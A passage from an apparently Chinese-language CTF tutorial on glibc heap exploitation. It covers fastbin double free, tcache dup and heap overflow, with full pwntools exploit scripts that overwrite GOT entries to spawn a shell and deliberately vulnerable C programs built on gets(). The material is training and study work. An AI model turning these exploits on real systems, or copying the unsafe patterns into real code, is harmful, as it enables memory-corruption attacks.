system@GLIBC_2.2.5</span><br><span class="line">0000000000601030 R_X86_64_JUMP_SLOT  printf@GLIBC_2.2.5</span><br><span class="line">0000000000601038 R_X86_64_JUMP_SLOT  memset@GLIBC_2.2.5</span><br><span class="line">0000000000601040 R_X86_64_JUMP_SLOT  gets@GLIBC_2.2.5</span><br><span class="line">0000000000601048 R_X86_64_JUMP_SLOT  malloc@GLIBC_2.2.5</span><br><span class="line">0000000000601050 R_X86_64_JUMP_SLOT  setvbuf@GLIBC_2.2.5</span><br><span class="line">0000000000601058 R_X86_64_JUMP_SLOT  __isoc99_scanf@GLIBC_2.7</span><br><span class="line">0000000000601060 R_X86_64_JUMP_SLOT  exit@GLIBC_2.2.5</span><br><span class="line"></span><br><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> p sh</span></span><br><span class="line"><span class="meta">$</span><span class="bash">2 = &#123;void (char *)&#125; 0x4007d7 &lt;sh&gt;</span></span><br></pre></td></tr></table></figure><p>我们将地址改为sh()之后还需要一个参数’sh’，我们需要在0x601040处写入’sh’，也就是get函数的地方，最后调用malloc的时候sz替换为’sh’的地址即可，exp如下</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">'debug'</span></span><br><span class="line">p = process(<span class="string">'./heap'</span>)</span><br><span class="line">elf =ELF(<span class="string">'./heap'</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> args.G:</span><br><span class="line">    gdb.attach(p)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">cmd</span><span class="params">(x)</span>:</span></span><br><span class="line">    p.recvuntil(<span class="string">'&gt; '</span>)</span><br><span class="line">    p.send( x + <span class="string">'\n'</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">molloc</span><span class="params">(i,s)</span>:</span></span><br><span class="line">    cmd(<span class="string">'1 %d\n25 %s'</span>%(i,s))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">free</span><span class="params">(i)</span>:</span></span><br><span class="line">    cmd(<span class="string">'2 %d'</span>%i)</span><br><span class="line">    </span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">put</span><span class="params">(i)</span>:</span></span><br><span class="line">    cmd(<span class="string">'3 %d'</span>%i)</span><br><span class="line"></span><br><span class="line">molloc(<span class="number">0</span>,<span class="string">'a'</span>*<span class="number">8</span>)</span><br><span class="line">molloc(<span class="number">1</span>,<span class="string">'b'</span>*<span class="number">8</span>)</span><br><span class="line"></span><br><span class="line">free(<span class="number">0</span>)</span><br><span class="line">free(<span class="number">1</span>)</span><br><span class="line">free(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line">molloc(<span class="number">2</span>,p64(<span class="number">0x0601040</span>)) <span class="comment"># 指向 0x601040 处地址的内容</span></span><br><span class="line">molloc(<span class="number">3</span>,<span class="string">'aabb'</span>)</span><br><span class="line">molloc(<span class="number">4</span>,<span class="string">'aabb'</span>)</span><br><span class="line">x = p64(<span class="number">0x6873</span>) + p64(<span class="number">0x4007d7</span>)  <span class="comment"># 0x601040 内容修改为 system('sh')</span></span><br><span class="line">molloc(<span class="number">5</span>,x) </span><br><span class="line"></span><br><span class="line">p.recvuntil(<span class="string">'&gt; '</span>)</span><br><span class="line">p.sendline(<span class="string">'1 6'</span>)</span><br><span class="line">p.sendline(<span class="string">'6295616 aaaaaaaa'</span>)  <span class="comment"># 执行 0x601040 处内容 0x601040 = 6295616 </span></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><h3 id="Example-Two-1"><a href="#Example-Two-1" class="headerlink" title="Example Two"></a>Example Two</h3><p><strong>题目链接</strong></p><p><a href="https://github.com/ThunderJie/CTF-Practice/blob/master/CTF-Pwn/babytcache/babytcache" target="_blank" rel="noopener">babytcache</a></p><p>这道题需要了解一些tcache的知识，<a href="https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/tcache_attack/#tcache-dup" target="_blank" rel="noopener">CTF-Wiki</a>上有详细的介绍，简单来说就是tcache_put() 的不严谨 </p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">static</span> __always_inline <span class="keyword">void</span></span><br><span class="line">tcache_put (mchunkptr chunk, <span class="keyword">size_t</span> tc_idx)</span><br><span class="line">&#123;</span><br><span class="line">  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);</span><br><span class="line">  assert (tc_idx &lt; TCACHE_MAX_BINS);</span><br><span class="line">  e-&gt;next = tcache-&gt;entries[tc_idx];</span><br><span class="line">  tcache-&gt;entries[tc_idx] = e;</span><br><span class="line">  ++(tcache-&gt;counts[tc_idx]);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>因为没有任何检查，所以我们可以对同一个 chunk 多次 free，造成 cycliced list，这里其实就有点像Double Free的感觉，只是Double Free不能连续free而这里可以，运行了解一下程序，是一个常见的管理系统</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">root@Thunder_J-virtual-machine:~/桌面# ./babytcache </span><br><span class="line">NoteBook v0.1</span><br><span class="line">1.add a note</span><br><span class="line">2.delete a note</span><br><span class="line">3.show a note</span><br><span class="line">4.exit</span><br><span class="line"><span class="meta">&gt;</span></span><br></pre></td></tr></table></figure><p>IDA分别分析一下每个函数的内容</p><p><strong>add_note</strong></p><p>这里将创建的地址都放在了ptr[]的地方，也就是0x6020E0处</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">add_a_note</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> v1; <span class="comment">// ebx</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> ( dword_6020C0 &gt; <span class="number">9</span> )</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">puts</span>(<span class="string">"Full!"</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">"content:"</span>);</span><br><span class="line">  v1 = dword_6020C0;</span><br><span class="line">  ptr[v1] = (<span class="keyword">char</span> *)<span class="built_in">malloc</span>(<span class="number">0x50</span>uLL);</span><br><span class="line">  sub_4008A6((__int64)ptr[dword_6020C0], <span class="number">0x50</span>u);</span><br><span class="line">  ++dword_6020C0;</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">puts</span>(<span class="string">"Done."</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>delete_note</strong></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">delete_note</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> v0; <span class="comment">// [rsp+Ch] [rbp-4h]</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">"index:"</span>);</span><br><span class="line">  v0 = sub_400920();</span><br><span class="line">  <span class="keyword">if</span> ( v0 &lt; dword_6020C0 )</span><br><span class="line">    <span class="built_in">free</span>(ptr[v0]);</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">"out of range!"</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>show_note</strong></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">show_a_note</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> result; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">int</span> v1; <span class="comment">// [rsp+Ch] [rbp-4h]</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">"index:"</span>);</span><br><span class="line">  v1 = sub_400920();</span><br><span class="line">  <span class="keyword">if</span> ( v1 &lt; dword_6020C0 )</span><br><span class="line">    result = <span class="built_in">puts</span>(ptr[v1]);</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">    result = <span class="built_in">puts</span>(<span class="string">"out of range!"</span>);</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>我们首先创建一个note,然后释放三次</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> heap</span></span><br><span class="line">0x603000 PREV_INUSE &#123;</span><br><span class="line">  mchunk_prev_size = 0, </span><br><span class="line">  mchunk_size = 593, </span><br><span class="line">  fd = 0x300000000, </span><br><span class="line">  bk = 0x0, </span><br><span class="line">  fd_nextsize = 0x0, </span><br><span class="line">  bk_nextsize = 0x0</span><br><span class="line">&#125;</span><br><span class="line">0x603250 FASTBIN &#123;</span><br><span class="line">  mchunk_prev_size = 0, </span><br><span class="line">  mchunk_size = 97, </span><br><span class="line">  fd = 0x603260, </span><br><span class="line">  bk = 0x0, </span><br><span class="line">  fd_nextsize = 0x0, </span><br><span class="line">  bk_nextsize = 0x0</span><br><span class="line">&#125;</span><br><span class="line">0x6032b0 PREV_INUSE &#123;</span><br><span class="line">  mchunk_prev_size = 0, </span><br><span class="line">  mchunk_size = 134481, </span><br><span class="line">  fd = 0x0, </span><br><span class="line">  bk = 0x0, </span><br><span class="line">  fd_nextsize = 0x0, </span><br><span class="line">  bk_nextsize = 0x0</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> bin</span></span><br><span class="line">tcachebins</span><br><span class="line">0x60 [  3]: 0x603260 ◂— 0x603260 /* '`2`' */ #free three times</span><br><span class="line">fastbins</span><br><span class="line">0x20: 0x0</span><br><span class="line">0x30: 0x0</span><br><span class="line">0x40: 0x0</span><br><span class="line">0x50: 0x0</span><br><span class="line">0x60: 0x0</span><br><span class="line">0x70: 0x0</span><br><span class="line">0x80: 0x0</span><br><span class="line">unsortedbin</span><br><span class="line">all: 0x0</span><br><span class="line">smallbins</span><br><span class="line">empty</span><br><span class="line">largebins</span><br><span class="line">empty</span><br></pre></td></tr></table></figure><p>这道题并没有给system函数和’/bin/sh’,所以我们需要泄露出system函数的地址，然后想办法改got表。</p><p>我们将0x6020e0位置的指针改为puts函数的got表指针,然后就可以泄露puts函数的在libc的地址,计算出system函数的地址,然后用同样的方法将puts的got表覆盖为system函数的地址,最后调用puts()实现getshell,偏移的计算是在接受到puts函数地址的时候,用vmmap打印出libc地址,然后相减就行了</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">r = process(<span class="string">'./babytcache'</span>)</span><br><span class="line"></span><br><span class="line">symbol = ELF(<span class="string">'./babytcache'</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> args.G:</span><br><span class="line">    gdb.attach(r)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">add_note</span><span class="params">(content)</span>:</span></span><br><span class="line"></span><br><span class="line">    r.recvuntil(<span class="string">'&gt;'</span>)</span><br><span class="line">r.sendline(<span class="string">'1'</span>)</span><br><span class="line">r.recvuntil(<span class="string">'content:'</span>)</span><br><span class="line">r.sendline(content)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">delete_note</span><span class="params">(index)</span>:</span></span><br><span class="line"></span><br><span class="line">r.recvuntil(<span class="string">'&gt;'</span>)</span><br><span class="line">r.sendline(<span class="string">'2'</span>)</span><br><span class="line">r.recvuntil(<span class="string">'index:'</span>)</span><br><span class="line">r.sendline(<span class="string">'%d'</span>%index)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">show_note</span><span class="params">(index)</span>:</span></span><br><span class="line"></span><br><span class="line">r.recvuntil(<span class="string">'&gt;'</span>)</span><br><span class="line">r.sendline(<span class="string">'3'</span>)</span><br><span class="line">r.recvuntil(<span class="string">'index:'</span>)</span><br><span class="line">r.sendline(<span class="string">'%d'</span>%index)</span><br><span class="line"></span><br><span class="line">add_note(<span class="string">'aaaaaaaa'</span>)</span><br><span class="line"></span><br><span class="line">delete_note(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line">delete_note(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line">delete_note(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line">add_note(p64(<span class="number">0x6020e0</span>+<span class="number">0x8</span>))</span><br><span class="line"></span><br><span class="line">add_note(<span class="string">'bbbb'</span>)</span><br><span class="line"></span><br><span class="line">add_note(p64(symbol.got[<span class="string">'puts'</span>]))</span><br><span class="line"></span><br><span class="line">show_note(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">puts_addr = (u64(r.recv(<span class="number">6</span>)+ <span class="string">'\x00\x00'</span>)) <span class="comment">#receive 'puts'</span></span><br><span class="line"><span class="keyword">print</span> hex(puts_addr)</span><br><span class="line">padding1 = <span class="number">0x809c0</span></span><br><span class="line"></span><br><span class="line">padding2 = <span class="number">0x4f440</span></span><br><span class="line"></span><br><span class="line">libc_addr = puts_addr - padding1</span><br><span class="line"></span><br><span class="line">system_addr = libc_addr + padding2</span><br><span class="line"></span><br><span class="line"><span class="keyword">print</span> hex(libc_addr)</span><br><span class="line"></span><br><span class="line"><span class="keyword">print</span> hex(system_addr)</span><br><span class="line"></span><br><span class="line">r.sendline(<span class="string">'2'</span>)</span><br><span class="line"></span><br><span class="line">r.recvuntil(<span class="string">'index:'</span>)</span><br><span class="line"></span><br><span class="line">r.sendline(<span class="string">'0'</span>)</span><br><span class="line"></span><br><span class="line">delete_note(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line">delete_note(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line">add_note(p64(symbol.got[<span class="string">'puts'</span>]))</span><br><span class="line"></span><br><span class="line">add_note(<span class="string">'/bin/sh'</span>)</span><br><span class="line"></span><br><span class="line">add_note(p64(system_addr))</span><br><span class="line"></span><br><span class="line">r.sendline(<span class="string">'3'</span>)</span><br><span class="line">r.sendline(<span class="string">'0'</span>)</span><br><span class="line">delete_note(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line">r.interactive()</span><br></pre></td></tr></table></figure><h2 id="Heap-Overflow"><a href="#Heap-Overflow" class="headerlink" title="Heap Overflow"></a>Heap Overflow</h2><p><strong>漏洞介绍</strong></p><p>堆溢出是指程序向某个堆块中写入的字节数超过了堆块本身可使用的字节数（之所以是可使用而不是用户申请的字节数，是因为堆管理器会对用户所申请的字节数进行调整，这也导致可利用的字节数都不小于用户申请的字节数），因而导致了数据溢出，并覆盖到物理相邻的高地址的下一个堆块，我们用两个例子来说明这个问题。</p><h3 id="Example-One-2"><a href="#Example-One-2" class="headerlink" title="Example One"></a>Example One</h3><p>创建overflow.c</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">void</span>)</span> </span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> *chunk;</span><br><span class="line">  chunk=<span class="built_in">malloc</span>(<span class="number">24</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">"Get input:"</span>);</span><br><span class="line">  gets(chunk);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>编译</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gcc -no-pie overflow.c -o overflow -g -w</span><br></pre></td></tr></table></figure><p>我们把断点下好观察chunk变化</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line">root@Thunder_J-virtual-machine:~/桌面# gdb overflow </span><br><span class="line">...</span><br><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> b 8</span></span><br><span class="line">Breakpoint 1 at 0x400599: file overflow.c, line 8.</span><br><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> b 9</span></span><br><span class="line">Breakpoint 2 at 0x4005aa: file overflow.c, line 9.</span><br><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> r</span></span><br><span class="line">Starting program: /home/Thunder_J/桌面/overflow </span><br><span class="line">Get input:</span><br><span class="line"></span><br><span class="line">Breakpoint 1, main () at overflow.c:8</span><br><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> x/20gx 0x602250-16</span></span><br><span class="line">0x602240:0x00000000000000000x0000000000000000</span><br><span class="line">0x602250:0x00000000000000000x0000000000000021 # 申请的chunk</span><br><span class="line">0x602260:0x00000000000000000x0000000000000000</span><br><span class="line">0x602270:0x00000000000000000x0000000000000411 # next chunk</span><br><span class="line">0x602280:0x75706e69207465470x00000000000a3a74</span><br><span class="line">0x602290:0x00000000000000000x0000000000000000</span><br><span class="line">0x6022a0:0x00000000000000000x0000000000000000</span><br><span class="line">0x6022b0:0x00000000000000000x0000000000000000</span><br><span class="line">0x6022c0:0x00000000000000000x0000000000000000</span><br><span class="line">0x6022d0:0x00000000000000000x0000000000000000</span><br><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> c</span></span><br><span class="line">Continuing.</span><br><span class="line">aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa # 输入64个'a'覆盖下一个chunk</span><br><span class="line"></span><br><span class="line">Breakpoint 2, main () at overflow.c:9</span><br><span class="line">9  return 0;</span><br><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> x/20gx 0x602250-16</span></span><br><span class="line">0x602240:0x00000000000000000x0000000000000000</span><br><span class="line">0x602250:0x00000000000000000x0000000000000021</span><br><span class="line">0x602260:0x61616161616161610x6161616161616161</span><br><span class="line">0x602270:0x61616161616161610x6161616161616161 # next chunk已经被覆盖</span><br><span class="line">0x602280:0x61616161616161610x6161616161616161</span><br><span class="line">0x602290:0x61616161616161610x6161616161616161</span><br><span class="line">0x6022a0:0x00000000000000000x0000000000000000</span><br><span class="line">0x6022b0:0x00000000000000000x0000000000000000</span><br><span class="line">0x6022c0:0x00000000000000000x0000000000000000</span><br><span class="line">0x6022d0:0x00000000000000000x0000000000000000</span><br></pre></td></tr></table></figure><p>上面就是简单的堆溢出演示，在利用的时候当然不是这么的随便下面就看第二个例子。</p><h3 id="Example-Two-2"><a href="#Example-Two-2" class="headerlink" title="Example Two"></a>Example Two</h3><p>创建Overflow_Free_Chunk.c</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;string.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">sh</span><span class="params">(<span class="keyword">char</span> *cmd)</span></span>&#123;</span><br><span class="line">system(cmd);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">setvbuf(<span class="built_in">stdout</span>,<span class="number">0</span>,_IONBF,<span class="number">0</span>);</span><br><span class="line"><span class="keyword">int</span> cmd,idx,sz;</span><br><span class="line"><span class="keyword">char</span>* ptr[<span class="number">10</span>];</span><br><span class="line"><span class="built_in">memset</span>(ptr,<span class="number">0</span>,<span class="keyword">sizeof</span>(ptr));</span><br><span class="line"><span class="built_in">puts</span>(<span class="string">"1. malloc + gets\n2. free\n3. puts"</span>);</span><br><span class="line"><span class="keyword">while</span>(<span class="number">1</span>)&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"&gt; "</span>);</span><br><span class="line"><span class="built_in">scanf</span>(<span class="string">"%d %d"</span>,&amp;cmd,&amp;idx);</span><br><span class="line">idx %= <span class="number">10</span>;</span><br><span class="line"><span class="keyword">if</span>(cmd==<span class="number">1</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">scanf</span>(<span class="string">"%d%*c"</span>,&amp;sz);</span><br><span class="line">ptr[idx] = <span class="built_in">malloc</span>(sz);</span><br><span class="line">gets(ptr[idx]);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span> <span class="keyword">if</span> (cmd==<span class="number">2</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">free</span>(ptr[idx]);</span><br><span class="line">ptr[idx] = <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span> <span class="keyword">if</span> (cmd==<span class="number">3</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">puts</span>(ptr[idx]);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span>&#123;</span><br><span class="line"><span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>编译</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gcc -no-pie Overflow_Free_Chunk.c -o Overflow_Free_Chunk -g -w</span><br></pre></td></tr></table></figure><p>我们在scanf输入处下断点观察</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> b 20</span></span><br><span class="line">Breakpoint 1 at 0x40085b: file Overflow_Free_Chunk.c, line 20.</span><br><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> r</span></span><br><span class="line">Starting program: /home/Thunder_J/桌面/Overflow_Free_Chunk </span><br><span class="line">1. malloc + gets</span><br><span class="line">2. free</span><br><span class="line">3. puts</span><br><span class="line"><span class="meta">&gt;</span><span class="bash"> </span></span><br><span class="line">Breakpoint 1, main () at Overflow_Free_Chunk.c:20</span><br><span class="line">20scanf("%d %d",&amp;cmd,&amp;idx);</span><br></pre></td></tr></table></figure><p>我们申请两次大小为24的chunk，为什么要申请24呢，因为最小的chunk大小为32位，，最小的堆即为prev_size(可以被上一个chunk占用)，size，fd(可以被本chunk占用)，bk(可以被本chunk占用) ，8*4即为32位，我们看一下堆的结构：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span 